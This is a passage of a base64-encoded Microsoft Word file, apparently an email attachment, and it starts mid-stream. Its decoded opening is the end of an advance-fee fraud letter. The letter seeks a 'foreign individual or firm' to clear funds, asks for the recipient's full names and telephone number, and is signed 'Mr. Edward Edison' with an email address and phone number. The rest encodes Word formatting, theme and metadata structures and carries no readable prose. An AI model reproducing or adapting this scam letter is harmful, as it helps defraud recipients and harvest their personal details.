emF0aW9uIGlzIG5vdCBhIGhpbmRyYW5jZSB0byB0aGUgc3VjY2Vzc2Z1bCBl eGVjdXRpb24gb2YgdGhpcyB0cmFuc2FjdGlvbiBhcyB3aGF0IHdlIG5lZWQg aXMgYSBmb3JlaWduIGluZGl2aWR1YWwgb3IgZmlybSB3ZSB3aWxsIHByZXNl bnQgYW5kIGRvIHRoZSBwYXBlcndvcmsgdG8gY2xlYXIgdGhlIGZ1bmRzLiBJ IGhhdmUgcmVwb3NlZCBteSBjb25maWRlbmNlIGluIHlvdSBhbmQgaG9wZSB0 aGF0IHlvdSB3aWxsIG5vdCBkaXNhcHBvaW50IG1lIGluIGFueSB3YXkuDQ1J IGFtIGxvb2tpbmcgZm9yd2FyZCB0byBkb2luZyBidXNpbmVzcyB3aXRoIHlv dSBhbmQgcGxlYXNlIGVtYWlsIHlvdXIgcmVzcG9uc2UgdG8gbWUgdGhyb3Vn aCBteSBwcml2YXRlIGVtYWlsIGFkZHJlc3MgYmVsb3cuIEtpbmRseSBwcm92 aWRlIG1lIHdpdGggeW91ciBmdWxsIG5hbWVzIGFuZCB0ZWxlcGhvbmUgbnVt YmVyIHNvIEkgY2FuIHJlYWNoIHlvdSBmb3IgbW9yZSBkZXRhaWxzIGFuZCBm dXJ0aGVyIGRlbGliZXJhdGlvbnMuC6ALQmVzdCByZWdhcmRzC6ALTXIuIEVk d2FyZCBFZGlzb24NRS1tYWlsOiATIEhZUEVSTElOSyAibWFpbHRvOk1yZWR3 YXJkZWRpc29uQGdtYWlsLmNvbSIgFE1yZWR3YXJkZWRpc29uQGdtYWlsLmNv bRUNVGVsOiArMjc3MzQ4MTkyMDANDQ0NAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAABAgAAAYI AAAXCAAAGAgAABkIAAAwCAAAhAgAAIUIAACZCAAAtwgAALgIAAC8CAAA4QgA AO0IAAD+CAAAaQkAAGoJAADv3s2876vNms2GcmFyUM0/LgAAACAVaLEwggAW aLchjABDShgAT0oCAFFKAgBeSgIAYUoYAAAgFWixMIIAFmhyGrQAQ0oYAE9K AgBRSgIAXkoCAGFKGAAAIBVosTCCABZomW2uAENKGABPSgIAUUoCAF5KAgBh ShgAACAWaBE8tgA2CIE+KgFDShgAT0oCAFFKAgBeSgIAYUoYAAAmFWixMIIA FmgQSnoANgiBPioBQ0oYAE9KAgBRSgIAXkoCAGFKGAAAJhVosTCCABZoM0cG ADYIgT4qAUNKGABPSgIAUUoCAF5KAgBhShgAACAVaLEwggAWaEYpjwBDShgA T0oCAFFKAgBeSgIAYUoYAAAgFWixMIIAFmieNPUAQ0oYAE9KAgBRSgIAXkoC AGFKGAAAIBVosTCCABZoETy2AENKGABPSgIAUUoCAF5KAgBhShgAACAVaLEw ggAWaBBKegBDShgAT0oCAFFKAgBeSgIAYUoYAAAgFWixMIIAFmhjel4AQ0oY AE9KAgBRSgIAXkoCAGFKGAAAIBVosTCCABZoM0cGAENKGABPSgIAUUoCAF5K AgBhShgAEQAIAAAYCAAAGQgAADEIAABbCAAAuAgAADQKAAA1CgAAxA4AAOwP AADtDwAACBEAAFkRAABrEQAAbBEAAG0RAABuEQAA8QAAAAAAAAAAAAAAAPEA AAAAAAAAAAAAAADxAAAAAAAAAAAAAAAA8QAAAAAAAAAAAAAAAPEAAAAAAAAA AAAAAADxAAAAAAAAAAAAAAAA8QAAAAAAAAAAAAAAAPEAAAAAAAAAAAAAAADx AAAAAAAAAAAAAAAA8QAAAAAAAAAAAAAAAOMAAAAAAAAAAAAAAADeAAAAAAAA AAAAAAAA3gAAAAAAAAAAAAAAAN4AAAAAAAAAAAAAAADeAAAAAAAAAAAAAAAA 3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAEAABnZBoirwAOAAASZPAAAQAUpAAANyQAOCQASCQAZ2RGKY8ADgAAEmTw AAEAFKQAADckADgkAEgkAGdkY3peAAAQagkAAG0JAACjCQAApgkAAKkJAACr CQAAtAkAALwJAADBCQAAwwkAAPsJAAAlCgAAMQoAADMKAAA1CgAATQoAAFsK AAB8CgAAfwoAAIEKAACKCgAAIQsAADgLAABrCwAAeQsAAHwLAACFCwAApAsA AF4MAAB9DAAAfgwAANwMAAD7DAAADQ0AAB4NAADv3s28q5re783vie94aniJ 71mrWe94vO9473jvvKvvibzvAAAAACAVaLEwggAWaEYpjwBDShgAT0oCAFFK AgBeSgIAYUoYAAAaFmixMIIAQ0oYAE9KAgBRSgIAXkoCAGFKGAAAIBVosTCC ABZochq0AENKGABPSgIAUUoCAF5KAgBhShgAACAVaLEwggAWaLchjABDShgA T0oCAFFKAgBeSgIAYUoYAAAgFWixMIIAFmgaIq8AQ0oYAE9KAgBRSgIAXkoC AGFKGAAAIBVosTCCABZoEEp6AENKGABPSgIAUUoCAF5KAgBhShgAACAVaLEw ggAWaCB5JQBDShgAT0oCAFFKAgBeSgIAYUoYAAAgFWixMIIAFmhAU64AQ0oY AE9KAgBRSgIAXkoCAGFKGAAAIBVosTCCABZoU2l9AENKGABPSgIAUUoCAF5K AgBhShgAACAVaLEwggAWaJltrgBDShgAT0oCAFFKAgBeSgIAYUoYACIeDQAA Ig0AAD4NAABgDQAAtg0AANgNAAAADgAAKQ8AAEcPAABVDwAAWQ8AAJEPAADB DwAA6w8AAO0PAAD9DwAAJxAAAFsQAABjEAAAahAAAHIQAACQEAAAnhAAAMQQ AADkEAAA9hAAAAcRAAAIEQAADhEAABARAADv3s28ze/N3qveq82avM2JzXia ic1nzZrNmlaJmgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIBVosTCCABZoY3pe AENKGABPSgIAUUoCAF5KAgBhShgAACAVaLEwggAWaHIatABDShgAT0oCAFFK AgBeSgIAYUoYAAAgFWixMIIAFmgaIq8AQ0oYAE9KAgBRSgIAXkoCAGFKGAAA IBVosTCCABZoRimPAENKGABPSgIAUUoCAF5KAgBhShgAACAVaLEwggAWaBBK egBDShgAT0oCAFFKAgBeSgIAYUoYAAAgFWixMIIAFmhTaX0AQ0oYAE9KAgBR SgIAXkoCAGFKGAAAIBVosTCCABZoQFOuAENKGABPSgIAUUoCAF5KAgBhShgA ACAVaLEwggAWaJltrgBDShgAT0oCAFFKAgBeSgIAYUoYAAAgFWixMIIAFmi3 IYwAQ0oYAE9KAgBRSgIAXkoCAGFKGAAAIBVosTCCABZoIHklAENKGABPSgIA UUoCAF5KAgBhShgAHRARAAAREQAAPhEAAD8RAABXEQAAWBEAAGsRAABsEQAA bREAAG4RAADq2erG6tnCvrcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAwVaBoirwAWaPhewQAABhZoJHMMAAAGFmgQ SnoAACQVaLEwggAWaBBKegAwShAAQ0oYAE9KAgBRSgIAXkoCAGFKGAAAIBVo sTCCABZoEEp6AENKGABPSgIAUUoCAF5KAgBhShgAACkDagAAAAAVaLEwggAW aBBKegBDShgAT0oCAFFKAgBVCAFeSgIAYUoYAAAJMgAxkGgBOnBGKY8AH7DQ LyCw4D0hsKAFIrCgBSOQoAUkkAAAJbAAABew0AIYsNACDJDQAgAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AABmBBEAEgABAAsBDwAHAAMAAAADAAAABAAIAAAAmAAAAJ4AAACeAAAAngAA AJ4AAACeAAAAngAAAJ4AAACeAAAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAAdgIAAHYCAAB2AgAAdgIAAHYCAAB2AgAAdgIAAHYCAAB2 AgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAAPgIAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYA ADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAAKgAAAA2BgAANgYAABYAAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2 BgAANgYAALgAAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAABoAQAASAEAADYGAAA2BgAANgYAADYGAAA2BgAANgYA ADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2 BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYA ADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAAsAMAADYGAAAyBgAAGAAAAMADAADQAwAA4AMAAPADAAAA BAAAEAQAACAEAAAwBAAAQAQAAFAEAABgBAAAcAQAAIAEAACQBAAAwAMAANAD AADgAwAA8AMAAAAEAAAQBAAAMgYAACgCAADYAQAA6AEAACAEAAAwBAAAQAQA AFAEAABgBAAAcAQAAIAEAACQBAAAwAMAANADAADgAwAA8AMAAAAEAAAQBAAA IAQAADAEAABABAAAUAQAAGAEAABwBAAAgAQAAJAEAADAAwAA0AMAAOADAADw AwAAAAQAABAEAAAgBAAAMAQAAEAEAABQBAAAYAQAAHAEAACABAAAkAQAAMAD AADQAwAA4AMAAPADAAAABAAAEAQAACAEAAAwBAAAQAQAAFAEAABgBAAAcAQA AIAEAACQBAAAwAMAANADAADgAwAA8AMAAAAEAAAQBAAAIAQAADAEAABABAAA UAQAAGAEAABwBAAAgAQAAJAEAADAAwAA0AMAAOADAADwAwAAAAQAABAEAAAg BAAAMAQAAEAEAABQBAAAYAQAAHAEAACABAAAkAQAADgBAABYAQAA+AEAAAgC AAAYAgAAVgIAAH4CAAAcAAAAT0oDAFFKAwBfSAEEbUgJBG5ICQRzSAkEdEgJ BAAAAABKAABg8f8CAEoADBAAAKg3wQAAAAYATgBvAHIAbQBhAGwAAAAMAAAA EmQUAQEAFKTIABgAQ0oWAF9IAQRhShYAbUgJBHNICQR0SAkEAAAAAAAAAAAA AAAAAAAAAAAARABBYPL/oQBEAAwNAAAAAAAAEAAWAEQAZQBmAGEAdQBsAHQA IABQAGEAcgBhAGcAcgBhAHAAaAAgAEYAbwBuAHQAAAAAAFIAaQDz/7MAUgAM HQAAAAAAADAGDABUAGEAYgBsAGUAIABOAG8AcgBtAGEAbAAAABwAF/YDAAA0 1gYAAQoDbAA01gYAAQUDAABh9gMAAAIACwAAACgAayD0/8EAKAAADQAAAAAA ADAGBwBOAG8AIABMAGkAcwB0AAAAAgAMAAAAAAAsAP4PogDxACwADAAAAJlt rgAAAAoAeQBzAGgAbwByAHQAYwB1AHQAcwAAAAAANgBVQKIAAQE2AAwIAAAa Iq8AMAYJAEgAeQBwAGUAcgBsAGkAbgBrAAAADAA+KgFCKgdwaAAA/wBQSwME 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 AAD//wMAUEsBAi0AFAAGAAgAAAAhAIKKvBP6AAAAHAIAABMAAAAAAAAAAAAA AAAAAAAAAFtDb250ZW50X1R5cGVzXS54bWxQSwECLQAUAAYACAAAACEApdan 58AAAAA2AQAACwAAAAAAAAAAAAAAAAArAQAAX3JlbHMvLnJlbHNQSwECLQAU AAYACAAAACEAa3mWFoMAAACKAAAAHAAAAAAAAAAAAAAAAAAUAgAAdGhlbWUv dGhlbWUvdGhlbWVNYW5hZ2VyLnhtbFBLAQItABQABgAIAAAAIQCWta3ilgYA AFAbAAAWAAAAAAAAAAAAAAAAANECAAB0aGVtZS90aGVtZS90aGVtZTEueG1s UEsBAi0AFAAGAAgAAAAhAA3RkJ+2AAAAGwEAACcAAAAAAAAAAAAAAAAAmwkA AHRoZW1lL3RoZW1lL19yZWxzL3RoZW1lTWFuYWdlci54bWwucmVsc1BLBQYA AAAABQAFAF0BAACWCgAAAAA8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5n PSJVVEYtOCIgc3RhbmRhbG9uZT0ieWVzIj8+DQo8YTpjbHJNYXAgeG1sbnM6 YT0iaHR0cDovL3NjaGVtYXMub3BlbnhtbGZvcm1hdHMub3JnL2RyYXdpbmdt bC8yMDA2L21haW4iIGJnMT0ibHQxIiB0eDE9ImRrMSIgYmcyPSJsdDIiIHR4 Mj0iZGsyIiBhY2NlbnQxPSJhY2NlbnQxIiBhY2NlbnQyPSJhY2NlbnQyIiBh Y2NlbnQzPSJhY2NlbnQzIiBhY2NlbnQ0PSJhY2NlbnQ0IiBhY2NlbnQ1PSJh Y2NlbnQ1IiBhY2NlbnQ2PSJhY2NlbnQ2IiBobGluaz0iaGxpbmsiIGZvbEhs aW5rPSJmb2xIbGluayIvPgAAAABuCQAACwAAHAAAAAD/////AAgAAGoJAAAe DQAAEBEAAG4RAAAJAAAACwAAAAwAAAANAAAAAAgAAG4RAAAKAAAAEAkAAD4J AABXCQAAbgkAABNYFP8VhA8AAPBsAAAAAAAG8DgAAAACGAAABgAAAAEAAAAB AAAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACMA C/AMAAAAhkEAAAAAxUEAAAAAQAAe8RAAAAD//wAAAAD/AICAgAD3AAAQAA8A AvCSAAAAEAAI8AgAAAABAAAAAQQAAA8AA/AwAAAADwAE8CgAAAABAAnwEAAA AAAAAAAAAAAAAAAAAAAAAAACAArwCAAAAAAEAAAFAAAADwAE8EIAAAASAArw CAAAAAEEAAAADgAAUwAL8B4AAAC/AQAAEADLAQAAAAD/AQAACAAEAwkAAAA/ AwEAAQAAABHwBAAAAAEAAAAAAAAAcAkAAAcAAAAAALgAAADxAAAAcAkAAAcA BAAHAAAAAAAXAAAAFwAAADAAAACEAAAAtwAAALcAAAC8AAAAvAAAAMsAAADL AAAAMwIAADUCAABcCQAAXwkAAG0JAABwCQAAAwAEAAMABAADAAQAAwAEAAMA BAADAAQAAwAHAAMABwAkAAAABAAAAAgAAADlAAAAAAAAAAUAAADwMQEAM0cG ABctCABxOwgAJHMMANRfGwAgeSUA5mU3AGN6XgAbb2UAlDV6ABBKegApU3sA TFN7AIoOfQBTaX0AhxCAALEwggC3IYwAFBKNAEYpjwBYE5IAwiOaAEBTrgCZ ba4AGiKvAHIatAARPLYAqDfBAPhewQAaAtUAqnfcAFoV5gARQPMAdhT0AJ40 9QAAAAAAbgkAAHAJAAAAAAAAAQAAAP9AAYABALwAAAC8AAAAABi7AgEAAQC8 AAAAAAAAALwAAAAAAAAAAhAAAAAAAAAAbgkAAFgAABAAQAAA//8BAAAABwBV AG4AawBuAG8AdwBuAP//AQAIAAAAAAAAAAAAAAD//wEAAAAAAP//AAACAP// AAAAAP//AAACAP//AAAAAAUAAABHHpABAAACAgYDBQQFAgMEhyoAIAAAAIAI AAAAAAAAAP8BAAAAAAAAVABpAG0AZQBzACAATgBlAHcAIABSAG8AbQBhAG4A AAA1HpABAgAFBQECAQcGAgUHAAAAAAAAABAAAAAAAAAAAAAAAIAAAAAAUwB5 AG0AYgBvAGwAAAAzLpABAAACCwYEAgICAgIEhyoAIAAAAIAIAAAAAAAAAP8B AAAAAAAAQQByAGkAYQBsAAAANy6QAQAAAg8FAgICBAMCBO8CAKB7IABAAAAA AAAAAACfAAAAAAAAAEMAYQBsAGkAYgByAGkAAABBHpABAAACBAUDBQQGAwIE 7wIAoOsgAEIAAAAAAAAAAJ8AAAAAAAAAQwBhAG0AYgByAGkAYQAgAE0AYQB0 AGgAAAAiAAQA8QiIGADw0AIAAGgBAAAAAFXqIWdV6iFnAAAAAAIAAQAAAGgB AAAGCAAAAQAEAAAABAADkBEAAABoAQAABggAAAEABAAAABEAAAAAAAAAIQMA 8BAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA oAWgBbQAtACBgXIwAAAAAAAAAAAAAAAAAABqCQAAagkAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAIAAAAAAAAAAAAIPoMRAPAQAAgA/P0BAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAACEhQAAAAAAnw/w8ACSRQAADkBAAA////f////3////9/////f/// /3////9/////f0xTewAABAAAMgAAAAAAAAAAAAAAAAAAAAAAAAAAACEEAAAA AAAAAAAAAAAAAAAAAAAAEB0AAAQAAAAAAAAAAAB4AAAAeAAAAAAAAAAAAAAA oAUAAP//EgAAAAAAAAAAAAAAAAAAAAcAbQBpAHIAYQBjAGwAZQAEAHUAcwBl AHIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA/v8AAAUBAgAAAAAAAAAAAAAAAAAAAAAAAQAAAOCF n/L5T2gQq5EIACsns9kwAAAAVAEAABAAAAABAAAAiAAAAAIAAACQAAAAAwAA AJwAAAAEAAAAqAAAAAUAAAC4AAAABwAAAMQAAAAIAAAA1AAAAAkAAADkAAAA EgAAAPAAAAAKAAAAEAEAAAwAAAAcAQAADQAAACgBAAAOAAAANAEAAA8AAAA8 AQAAEAAAAEQBAAATAAAATAEAAAIAAADkBAAAHgAAAAQAAAAAAAAAHgAAAAQA AAAAAAAAHgAAAAgAAABtaXJhY2xlAB4AAAAEAAAAAAAAAB4AAAAIAAAATm9y bWFsAAAeAAAACAAAAHVzZXIAAAAAHgAAAAQAAAAyAAAAHgAAABgAAABNaWNy b3NvZnQgT2ZmaWNlIFdvcmQAAABAAAAAAEbDIwAAAABAAAAAAFbnqMIczwFA AAAAAFbnqMIczwEDAAAAAQAAAAMAAABoAQAAAwAAAAYIAAADAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 